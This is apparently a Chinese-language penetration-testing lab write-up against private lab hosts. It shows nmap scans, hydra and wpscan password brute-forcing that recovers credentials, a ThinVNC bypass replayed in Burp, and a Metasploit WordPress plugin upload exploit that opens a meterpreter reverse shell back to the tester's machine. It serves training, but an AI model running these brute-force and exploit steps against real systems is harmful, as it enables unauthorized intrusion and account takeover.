|_nbstat: NetBIOS name: FRANKLIN, NetBIOS user: <unknown>, NetBIOS MAC: 00155d0136b3 (Microsoft)
| smb2-security-mode:
| 302:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 23.11 ms 192.168.200.1
2 23.13 ms 172.16.19.9
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.81 seconds
剛剛那一台沒有student帳號,這一台可以試一下。
爆破出帳密,就可以用linux的遠端桌面軟體,記得不能用root執行:
┌──(kali㉿kali)-[~]
└─$ rdesktop 172.16.19.9 -g 90%
Autoselecting keyboard map 'en-us' from locale
ATTENTION! The server uses and invalid security certificate which can not be trusted for
the following identified reasons(s);
1. Certificate issuer is not trusted by this system.
Issuer: CN=FRANKLIN
Review the following certificate info before you trust it to be added as an exception.
If you do not trust the certificate the connection atempt will be aborted:
Subject: CN=FRANKLIN
Issuer: CN=FRANKLIN
Valid From: Sun Feb 26 05:01:57 2023
To: Mon Aug 28 06:01:57 2023
Certificate fingerprints:
sha1: f35ca64289ebfa5cf263f1650e8dcb2bcdf72a4b
sha256: ae24948b8179650abd39670efa12814e75179755548a26eafd5a582019fed744
Do you trust this certificate (yes/no)? yes
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.
登入畫面,用剛剛爆破出的帳密登入:
桌面:
發現應用程式有安裝wireshark,打開看看:
查一下這台的網路:
從wireshark可以發現有172.20.20.4
這個IP,應該可以攻擊172.20.20.5
。
從上面畫面可發現,這台不斷被惡意程式問5566 port有沒有活著。
而其實桌面上已經有惡意程式,可以打開看看:
點右鍵再點紅圈:
感覺沒什麼用:
點選manager:
再點reverse shell
下圖紅圈處可打指令:
在紅圈處輸入windows指令,比如輸入dir按Enter可顯示上圖C槽目錄。上面紅圈輸入dir secret.txt /s
可找secret.txt。
一樣,找到secret.txt:
Lab 3結束。
套路1:
┌──(root㉿kali)-[~]
└─# nmap -p- 172.16.3.128
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-27 08:05 EST
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 5.91% done; ETC: 08:06 (0:00:32 remaining)
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 13.56% done; ETC: 08:05 (0:00:25 remaining)
Nmap scan report for 172.16.3.128
Host is up (0.079s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 28.81 seconds
套路2:
┌──(root㉿kali)-[~]
└─# nmap -p22 -sC -sV -O -A 172.16.3.128
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-27 08:10 EST
Nmap scan report for 172.16.3.128
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 ce8eb17409f0e9ac520810f2d82eb6e0 (DSA)
| 2048 a2c1d9a1e1f7302eae85cb050c3559ed (RSA)
| 256 0d8658bbfb1c322e0d70f95cf1e13eca (ECDSA)
|_ 256 b6e04ffd17be8f891da29a0cfe45a3ef (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2.0 (94%), Linux 3.11 - 4.1 (94%), Linux 4.4 (94%), Linux 3.10 - 3.16 (93%), Linux 3.16 (92%), Linux 3.13 (91%), Linux 3.18 (90%), Linux 4.0 (90%), Linux 3.10 - 3.12 (89%), Linux 3.10 - 4.11 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 62.41 ms 192.168.200.1
2 13.32 ms 172.16.3.128
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.10 seconds
找套件弱點:
是sftp,可能不是我們要找的。接下來一樣用hydra爆破ssh帳密:
┌──(root㉿kali)-[~]
└─# hydra -l jason -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt ssh://172.16.3.128
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-27 08:15:43
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000000 login tries (l:1/p:1000000), ~62500 tries per task
[DATA] attacking ssh://172.16.3.128:22/
[STATUS] 103.00 tries/min, 103 tries in 00:01h, 999898 to do in 161:48h, 15 active
[STATUS] 105.33 tries/min, 316 tries in 00:03h, 999685 to do in 158:11h, 15 active
[22][ssh] host: 172.16.3.128 login: jason password: apollo
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 12 final worker threads did not complete until end.
[ERROR] 12 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-27 08:20:43
連上後一樣找檔案:
┌──(root㉿kali)-[~]
└─# ssh jason@172.16.3.128
The authenticity of host '172.16.3.128 (172.16.3.128)' can't be established.
ED25519 key fingerprint is SHA256:FqWIqIgmkLLMYrdOw7hB2yNfUMj9wJkvENzZLfaBrIs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.16.3.128' (ED25519) to the list of known hosts.
jason@172.16.3.128's password:
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64)
* Documentation: https://help.ubuntu.com/
775 packages can be updated.
483 updates are security updates.
Last login: Sat Oct 29 16:20:08 2022 from 192.168.200.15
jason@Ubuntu14:~$ uname -a
Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
jason@Ubuntu14:~$ id
uid=1001(jason) gid=1001(jason) groups=1001(jason)
jason@Ubuntu14:~$ cd /
jason@Ubuntu14:/$ find / -type f -name local.txt -print 2>/dev/null
/home/jason/local.txt
Lab 4結束。
套路1與2:
┌──(root㉿kali)-[~]
└─# nmap -p- 172.16.1.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-27 08:17 EST
Nmap scan report for 172.16.1.112
Host is up (0.059s latency).
Not shown: 65522 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 28.04 seconds
┌──(root㉿kali)-[~]
└─# nmap -p135,139,445,3389 -sC -sV -O -A 172.16.1.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-27 08:19 EST
Nmap scan report for 172.16.1.112
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ms-wbt-server?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Content-Type: text/html
| Content-Length: 177
| Connection: Keep-Alive
| <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL nice%20ports%2C/Tri%6Eity.txt%2ebak was not found on this server.<P></BODY></HTML>
| GetRequest:
| HTTP/1.1 401 Access Denied
| Content-Type: text/html
| Content-Length: 144
| Connection: Keep-Alive
| WWW-Authenticate: Digest realm="ThinVNC", qop="auth", nonce="n9x6bhz35UCI1zECHPflQA==", opaque="3WRbb2HCPYbAJLQID7pshR55ixhDf859iP"
|_ <HTML><HEAD><TITLE>401 Access Denied</TITLE></HEAD><BODY><H1>401 Access Denied</H1>The requested URL requires authorization.<P></BODY></HTML>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3389-TCP:V=7.93%I=7%D=2/27%Time=63FCADE3%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,179,"HTTP/1\.1\x20401\x20Access\x20Denied\r\nContent-Type:\x20
SF:text/html\r\nContent-Length:\x20144\r\nConnection:\x20Keep-Alive\r\nWWW
SF:-Authenticate:\x20Digest\x20realm=\"ThinVNC\",\x20qop=\"auth\",\x20nonc
SF:e=\"n9x6bhz35UCI1zECHPflQA==\",\x20opaque=\"3WRbb2HCPYbAJLQID7pshR55ixh
SF:Df859iP\"\r\n\r\n<HTML><HEAD><TITLE>401\x20Access\x20Denied</TITLE></HE
SF:AD><BODY><H1>401\x20Access\x20Denied</H1>The\x20requested\x20URL\x20\x2
SF:0requires\x20authorization\.<P></BODY></HTML>\r\n")%r(FourOhFourRequest
SF:,111,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Type:\x20text/html\r\
SF:nContent-Length:\x20177\r\nConnection:\x20Keep-Alive\r\n\r\n<HTML><HEAD
SF:><TITLE>404\x20Not\x20Found</TITLE></HEAD><BODY><H1>404\x20Not\x20Found
SF:</H1>The\x20requested\x20URL\x20nice%20ports%2C/Tri%6Eity\.txt%2ebak\x2
SF:0was\x20not\x20found\x20on\x20this\x20server\.<P></BODY></HTML>\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 (94%), Microsoft Windows 10 1607 (90%), Microsoft Windows Server 2012 (89%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows Server 2008 R2 (88%), Microsoft Windows 10 1511 - 1607 (86%), Microsoft Windows 7 Professional (86%), Microsoft Windows 7 SP1 (85%), Tomato 1.27 - 1.28 (Linux 2.4.20) (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-02-27T13:20:59
|_ start_date: 2022-10-15T07:48:25
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -2s, deviation: 0s, median: -2s
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 61.94 ms 192.168.200.1
2 12.70 ms 172.16.1.112
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.34 seconds
發現3389 port竟然藏了一個vnc,連上去看看:
用thinvnc exploit
字串google:
紅色底線處可以試著手工打打看,但應該會被瀏覽器擋下來,但可以用burp suite給repeat。
開啟burp如下圖:
剛剛輸入網址的動作被記錄下來,可以把它Send to Repeater
。
送到Repeater後,可以修改剛剛送出的內容,重新再送一次。
所以修改成反白處1,符合網頁上那個POC的寫法,操作順序如下圖數字所示,最後會出現反白處3,就是POC作法成功。
再用上圖3號,再次登入看看:
成功登入:
這種遠端軟體,只要打一個點如下圖紅圈,就可以自己連自己。
這就是連線後的畫面:
可以試試呼叫系統管理員:
aaa點下圖紅線處,叫出cmd:
叫出cmd:
cmd:
輸入指令查看目前身分:
知道身分後再查這身分相關訊息:
]]>套路1
┌──(root㉿kali)-[~/PT_day2]
└─# nmap 172.16.20.3 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-26 03:09 EST
Nmap scan report for 172.16.20.3
Host is up (0.044s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 27.03 seconds
套路2
┌──(root㉿kali)-[~/PT_day2]
└─# nmap 172.16.20.3 -p80 -sC -sV -O -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-26 03:10 EST
Nmap scan report for 172.16.20.3
Host is up (0.021s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-generator: WordPress 5.2.4
|_http-title: My Blogs – Just another WordPress site
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.0 (94%), Linux 4.4 (94%), Linux 3.10 - 3.12 (93%), Linux 3.10 - 3.16 (92%), Linux 3.10 (91%), Linux 4.9 (91%), Linux 2.6.18 (90%), Linux 3.10 - 4.11 (89%), Linux 3.11 - 4.1 (89%), Linux 3.2 - 4.9 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 66.02 ms 192.168.200.1
2 14.94 ms 172.16.20.3
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.58 seconds
發現只有一個80 port,探測目錄:
┌──(root㉿kali)-[~/PT_day2]
└─# nikto -host http://172.16.20.3
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 172.16.20.3
+ Target Hostname: 172.16.20.3
+ Target Port: 80
+ Start Time: 2023-02-26 03:15:08 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'link' found, with contents: <http://172.16.20.3/index.php/wp-json/>; rel="https://api.w.org/"
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'x-redirect-by' found, with contents: WordPress
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ OSVDB-3268: /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information
+ /wp-login.php: Wordpress login found
+ 7925 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2023-02-26 03:18:07 (GMT-5) (179 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
*********************************************************************
Portions of the server's headers (Apache/2.4.38) are not in
the Nikto 2.1.6 database or are newer than the known string. Would you like
to submit this information (*no server specific data*) to CIRT.net
for a Nikto update (or you may email to sullo@cirt.net) (y/n)? n
到其中一個目錄看一下:
連上網頁看一下:
接下來想用hydra來爆破密碼。打開burp suite,設定proxy。隨便輸入錯誤的:
接下來看看burp:
底下的request內容如下,可以知道第一篇提到的綠框、橘框該填什麼:
POST /wp-login.php HTTP/1.1
Host: 172.16.20.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.20.3/wp-login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Origin: http://172.16.20.3
Connection: close
Cookie: wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1
log=john&pwd=aaa&wp-submit=Log+In&redirect_to=http%3A%2F%2F172.16.20.3%2Fwp-admin%2F&testcookie=1
觀察一下:
hydra http post form example
How to Brute Force Websites & Online Forms Using Hydra | Infinite Logins
aaa接下來看看藍圈要填什麼:
要注意錯誤訊息複製沒有html標籤的就好。
hydra -l john -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 172.16.20.3 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F172.16.20.3%2Fwp-admin%2F&testcookie=1:The password you entered for the username"
如果像上面這樣下指令,會找出四個ok的密碼,其實是有問題,代表指令打錯。
解決方法1: 後面加參數-t 4
,但沒用。
解決方法2: 錯誤訊息不要用The password you entered for the username
,但也沒用。
只好換另一個針對wordpress的工具--wpscan。
┌──(root㉿kali)-[~/PT_day2]
└─# wpscan --url http://172.16.20.3 -U "john" -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://172.16.20.3/ [172.16.20.3]
[+] Started: Sun Feb 26 06:28:41 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.38 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://172.16.20.3/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://172.16.20.3/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://172.16.20.3/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://172.16.20.3/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.2.4 identified (Insecure, released on 2019-10-14).
| Found By: Rss Generator (Passive Detection)
| - http://172.16.20.3/index.php/feed/, <generator>https://wordpress.org/?v=5.2.4</generator>
| - http://172.16.20.3/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.4</generator>
[+] WordPress theme in use: twentynineteen
| Location: http://172.16.20.3/wp-content/themes/twentynineteen/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://172.16.20.3/wp-content/themes/twentynineteen/readme.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://172.16.20.3/wp-content/themes/twentynineteen/style.css?ver=1.4
| Style Name: Twenty Nineteen
| Style URI: https://wordpress.org/themes/twentynineteen/
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.4 (80% confidence)
| Found By: Style (Passive Detection)
| - http://172.16.20.3/wp-content/themes/twentynineteen/style.css?ver=1.4, Match: 'Version: 1.4'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] inboundio-marketing
| Location: http://172.16.20.3/wp-content/plugins/inboundio-marketing/
| Latest Version: 2.0.1 (up to date)
| Last Updated: 2015-07-23T07:01:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 2.0.3 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://172.16.20.3/wp-content/plugins/inboundio-marketing/README.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://172.16.20.3/wp-content/plugins/inboundio-marketing/README.txt
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:01 <=> (137 / 137) 100.00% Time: 00:00:01
[i] No Config Backups Found.
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - john / iloveyou
Trying john / robert Time: 00:00:01 < > (55 / 1000055) 0.00% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: john, Password: iloveyou
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sun Feb 26 06:28:50 2023
[+] Requests Done: 246
[+] Cached Requests: 5
[+] Data Sent: 74.246 KB
[+] Data Received: 20.031 MB
[+] Memory used: 267.863 MB
[+] Elapsed time: 00:00:09
得知密碼iloveyou。枚舉使用者帳號:
┌──(root㉿kali)-[~/PT_day2]
└─# wpscan --url http://172.16.20.3 -e u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://172.16.20.3/ [172.16.20.3]
[+] Started: Sun Feb 26 06:34:31 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.38 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://172.16.20.3/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://172.16.20.3/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://172.16.20.3/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://172.16.20.3/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.2.4 identified (Insecure, released on 2019-10-14).
| Found By: Rss Generator (Passive Detection)
| - http://172.16.20.3/index.php/feed/, <generator>https://wordpress.org/?v=5.2.4</generator>
| - http://172.16.20.3/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.4</generator>
[+] WordPress theme in use: twentynineteen
| Location: http://172.16.20.3/wp-content/themes/twentynineteen/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://172.16.20.3/wp-content/themes/twentynineteen/readme.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://172.16.20.3/wp-content/themes/twentynineteen/style.css?ver=1.4
| Style Name: Twenty Nineteen
| Style URI: https://wordpress.org/themes/twentynineteen/
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.4 (80% confidence)
| Found By: Style (Passive Detection)
| - http://172.16.20.3/wp-content/themes/twentynineteen/style.css?ver=1.4, Match: 'Version: 1.4'
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <==> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] jason
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://172.16.20.3/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] alvin
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] john
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] james
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] tom
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sun Feb 26 06:34:34 2023
[+] Requests Done: 31
[+] Cached Requests: 36
[+] Data Sent: 8.299 KB
[+] Data Received: 86.785 KB
[+] Memory used: 174.059 MB
[+] Elapsed time: 00:00:03
第一小題解決。
第二小題,先利用第一小題得到的密碼登入:
檢查外掛有沒有poc可用:
┌──(kali㉿kali)-[~]
└─$ msfconsole
____________
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a, |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a, |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%| `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%]
[% .--------..-----.| |_ .---.-.| .,a$%|.-----.| |.-----.|__|| |_ %%]
[% | || -__|| _|| _ || ,,aS$""` || _ || || _ || || _|%%]
[% |__|__|__||_____||____||___._||%$P"` || __||__||_____||__||____|%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a, ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% `"$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
=[ metasploit v6.3.2-dev ]
+ -- --=[ 2290 exploits - 1201 auxiliary - 409 post ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: You can upgrade a shell to a Meterpreter
session on many platforms using sessions -u
<session_id>
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search inboundio
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/wp_inboundio_marketing_file_upload 2015-03-24 excellent Yes Wordpress InBoundio Marketing PHP Upload Vulnerability
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/wp_inboundio_marketing_file_upload
看來第二個外掛是有:
msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_inboundio_marketing_file_upload) > show options
Module options (exploit/unix/webapp/wp_inboundio_marketing_file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:por
t[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.
metasploit.com/docs/using-metasploit/
basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connec
tions
TARGETURI / yes The base path to the wordpress applic
ation
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.18.192 yes The listen address (an interface may be s
pecified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 InBoundio Marketing 2.0
View the full module info with the info, or info -d command.
進行攻擊設定:
msf6 exploit(unix/webapp/wp_inboundio_marketing_file_upload) > set rhosts 172.16.20.3
rhosts => 172.16.20.3
msf6 exploit(unix/webapp/wp_inboundio_marketing_file_upload) > set lhost 192.168.200.3
lhost => 192.168.200.3
msf6 exploit(unix/webapp/wp_inboundio_marketing_file_upload) > set lport 16203
lport => 16203
msf6 exploit(unix/webapp/wp_inboundio_marketing_file_upload) > run
[*] Started reverse TCP handler on 192.168.200.3:16203
[+] Our payload is at: vbkTtLKBbXER.php.
[*] Calling payload...
[*] Sending stage (39927 bytes) to 172.16.20.3
[+] Deleted vbkTtLKBbXER.php
[*] Meterpreter session 1 opened (192.168.200.3:16203 -> 172.16.20.3:37394) at 2023-02-26 06:52:38 -0500
meterpreter > shell
Process 8386 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
會改lport只是因為剛剛前一題用過了,而現在成功入侵,但shell很難用,所以穩定shell:
python -c 'import pty;pty.spawn("/bin/bash")'
